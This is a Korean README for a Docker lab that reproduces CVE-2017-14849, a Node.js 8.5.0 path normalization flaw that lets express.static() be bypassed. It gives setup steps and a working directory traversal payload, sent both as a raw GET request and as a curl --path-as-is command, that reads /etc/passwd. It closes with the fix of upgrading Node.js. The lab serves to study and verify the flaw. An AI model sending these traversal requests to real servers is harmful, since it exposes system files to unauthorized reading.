README.md

CVE-2017-14849

Contributors

• 허준원(@junwonheo)

Node.js 디렉터리 탐색 취약점 (CVE-2017-14849)

Node.js 8.5.0에서 파일 경로 정규화(Path Normalization) 취약점이 있다. 상위 디렉터리로 이동하는 경로 중간에 잘못된 폴더가 포함된 경우(예: ../../../foo/../../../etc/passwd) 오류를 반환해야 하지만, 정규화 버그로 인해 /etc/passwd 내용을 그대로 반환한다.

express.static()은 내부적으로 경로 정규화를 수행하며 디렉터리 범위 초과 여부를 확인하지만, Node.js 8.5.0의 정규화 함수 버그로 인해 이 검사가 우회된다.

참고 자료:

• https://nodejs.org/en/blog/vulnerability/september-2017-path-validation

환경 설정

docker compose up -d

http://your-ip:3000/으로 접속할 수 있다.

취약점 재현

/static/main.js에 정적 파일이 존재한다. 아래 요청으로 디렉터리 트래버설을 시도한다:

GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: your-ip:3000

curl로 테스트할 경우 경로 정규화를 막기 위해 --path-as-is 옵션을 사용해야 한다:

curl --path-as-is "http://your-ip:3000/static/../../../a/../../../../etc/passwd"

서버가 /etc/passwd 내용을 응답으로 반환하면 취약점이 확인된 것이다.

환경 종료

docker compose down

대응 방안

• Node.js 8.6.0 이상으로 업데이트한다.